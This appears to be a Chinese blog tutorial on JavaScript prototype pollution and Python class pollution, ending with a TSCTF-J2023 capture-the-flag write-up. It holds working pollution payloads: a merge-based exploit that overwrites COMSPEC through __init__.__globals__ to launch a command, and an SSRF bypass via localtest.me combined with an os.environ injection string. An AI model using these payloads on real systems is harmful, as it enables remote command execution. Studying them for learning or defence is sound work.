【原型链污染】Python与Js
【原型鏈污染】Python與Js
一、背景
最近在TSCTF的比賽題中遇到了Python的原型鏈污染題目,所以借此機會學習一下。說到原型鏈,最多的還是在Js中,所以就一并學習一下。(因為是菜雞所以文章可能的存在一些錯誤,歡迎批評指正)。
二、JS原型鏈簡介
原型是Js代碼中對象的繼承方式。其實和別的語言的繼承方式類似,只不過這里將父類稱之為原型。可以在瀏覽器控制臺中測試以下代碼:
const myObject = {
city: "BJ",
greet() {
console.log(`Greetings from ${this.city}`);
},
};
myObject.greet();
這是一個普通的訪問對象屬性的示例,代碼輸出為Greetings from BJ。
控制臺中只輸入myObject.就可以看到該類所有的可訪問屬性:
可以看到存在一些我們沒有定義的屬性,這些屬性就是繼承自原型。
當我們訪問一個對象的屬性時,js代碼會不斷一層層向上尋找原型以及原型的原型,以此類推,最后如果找到的就可以訪問,否則返回undefined。因此稱之為原型鏈。
類似于Python,所有的原型鏈存在一個最終的原型:Object.prototype。可以使用以下代碼訪問一個類的原型:
Object.getPrototypeOf(myObject);
或者
myObject.__proto__
這樣則會返回Object類。同時如果我們訪問Object類的原型,則返回NULL。
還有一個問題:如果類中定義了一個原型中也存在的方法,那么訪問時遵循什么原則呢?
運行下面的代碼:
const myDate = new Date(1995, 11, 17);
console.log(myDate.getYear()); // 95
myDate.getYear = function () {
console.log("something else!");
};
myDate.getYear(); // 'something else!'
可以看到有限訪問類中存在屬性,這也和其他語言相同。
三、Python中的原型鏈污染
其實Python中并沒有原型這個概念,但是原型鏈污染實際上是一種類污染,就是我們通過輸入從而控制Python類的繼承,從而達到遠程執行等惡意目的,所以這里模糊將其稱為Python的原型鏈污染。
3.1 屬性與魔術方法
在利用上,和flask的模板注入類似,需要使用到Python類的一些魔術方法:__str__()、__call__()等等。但是因為我們的輸入一般是str或者int型,所以直接在控制原始代碼時會出現str等類型不能作為類的問題:
class Employee(): pass
a=Employee()
a.__class__='polluted'
print(a.__class__)
上面這段代碼,嘗試將對象a的類進行污染,但是會報錯str類型不能作為類。但是a還存在一個屬性__qualname__,用于訪問類的名稱:
class Employee(): pass
a=Employee()
a.__class__.__qualname__='polluted'
print(a.__class__)
通過這樣的操作就可以實現修改a的類。
3.2 通過merge函數污染
一個標準的原型鏈污染所用代碼:
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): #檢查dst對象是否有__getitem__屬性,如果存在則可以將dst作為字典訪問
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #如果目標字典中已經存在該屬性則只復制值
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
這段代碼的作用是將src字典中的內容遞歸地復制到dst字典中。下面通過這段代碼進行類的污染:
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
},
"__class__":{
"__qualname__":"Polluted"
}
}
a= Employee()
merge(emp_info, a)
print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
print(a.__class__) #<class '__main__.Polluted'>
這段代碼中,通過構造__class__屬性中的__qualname__屬性的值,并使用merge函數進行合并,因為Employee類本身具__class__屬性,所以會被覆蓋,實現了對對象a的污染。因為__class__等屬性并不是Employee類本身的屬性,而是繼承的屬性,所以print(vars(a))并沒有打印出__class__的內容。
同樣,如果我們使用下面的exp就可以實現對父類的污染:
emp_info = {
"__class__":{
"__base__":{
"__qualname__":"Polluted"
}
}
}
當然,對于不可變類型Object或者str等,Python限制不能對其進行修改。
在這種情況下,如果代碼中存在一些系統執行指令,并且merge的輸入可控,就會導致系統執行漏洞:
import os
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class exp:
def __init__(self,cmd):
self.cmd=cmd
def excute(self):
os.system(self.cmd)
a=exp('1')
b={"cmd":"ping 127.0.0.1"}
merge(b,a)
print(vars(a))
a.excute()
3.3 任意子類的污染
3.3.1 方法
上面的代碼雖然實現了命令執行,但是只是單純地對一個普通類進行了污染。此時如果我們能找到通向其他類的屬性鏈,就可以污染代碼中的任意類,包括重要的一些內置類(例如命令執行類)。
這里其實和模板注入就非常相似了,我們都知道__globals__屬性用于訪問函數的全局變量字典,通過這個屬性我們其實就可以實現一些變量的覆蓋。但是我們如何訪問這個屬性呢,這個方法可以從任何已知函數定義的方法中進行訪問。例如:
class A:
def __init__(self):
pass
instance=A()
print(instance.__init__.__globals__)
__init__屬性是類中常見的函數,所以可以直接用它來實現訪問__globas__變量。
但是你會說,如果沒有__init__函數怎么辦呢?這時就需要試試了,可以從基類Object中查找其子類,總歸存在一個子類是有__init__屬性的。payload:__class__.__base__.__subclasses__()。
3.3.2 實例
對于這段代碼:
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])
subprocess.Popen('whoami', shell=True)
在這里,通過尋找屬性鏈,使用__globals__屬性覆蓋了subprocess的值,使其在cmd中執行了calc命令,實現了彈計算器。為什么需要找subprocess呢,主要原因還是因為通過這個模塊來尋找os模塊,這個才是遠程執行的要點,如果代碼已經import os了,那我們只需要通過__globals__屬性訪問即可。
3.4 通過Pydash函數污染
Pydash其實和merge函數類似,將在下面TSCTF這題中給出示例。
四、TSCTF-J2023 Python Not Node
題目給了源碼:
from flask import Flask, request
import os
import pydash
import urllib.request
app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com"
black_list = ['localhost', '127.0.0.1']
class Userinfo:
def __init__(self):
pass
class comexec:
def test_ping(self):
cmd = os.getenv('cmd')
os.system(cmd)
@app.route("/define", methods=['GET'])
def define():
if request.remote_addr == '127.0.0.1':
if request.method == 'GET':
print(request.args)
usname = request.args['username']
info = request.args['info']
origin_user = request.args['origin_user']
user = {usname: info}
print(type(user))
pydash.set_with(Userinfo(), origin_user, user, lambda: {})
result = comexec().test_ping()
return "USER READY,JUST INSERT YOUR SEARCH RESULT"
else:
return "NOPE"
@app.route("/search", methods=['GET'])
def search():
if request.method == 'GET':
urls = request.args['url']
for i in black_list:
if i in urls:
return "HACKER URL!"
try:
info = urllib.request.urlopen(urls).read().decode('utf-8')
return info
except Exception as e:
print(e)
return "error"
else:
return "Method error"
@app.route("/")
def home():
return "<html> Welcome to this Challenge </html> <script>alert('focus on the
source code')</script>"
if __name__ == "__main__":
app.run(debug=True, port=37333, host='0.0.0.0')
這段代碼兩個考點,一個是SSRF的URL黑名單繞過,一個就是Python的原型鏈泄露。
-
SSRF
-
常見的方式是8進制、16進制、302跳轉等繞過,這些都被屏蔽了,最后題解說是簡單的大小寫繞過。
但是做題的時候沒想到,所以使用的是localtest.me域名繞過,這是大佬買下的域名,訪問時其實是重定向到本機,這樣的域名還有很多。
-
還有一個點就是需要url編碼避免參數的混淆解析,因為這里SSRF的域名也需要添加參數,所以我們要進行url編碼。
-
-
原型鏈污染
origin_user=__class__.__init__.__globals__.os.environ&info=Polluted這里因為已經導入了os模塊,所以可以直接通過
__globals__進行訪問。
參考鏈接
Python原型鏈污染變體
Abdulrah33m's Blog
總結
以上是生活随笔為你收集整理的【原型链污染】Python与Js的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2023-11-08:用go语言,字符串
- 下一篇: Go 接口:nil接口为什么不等于nil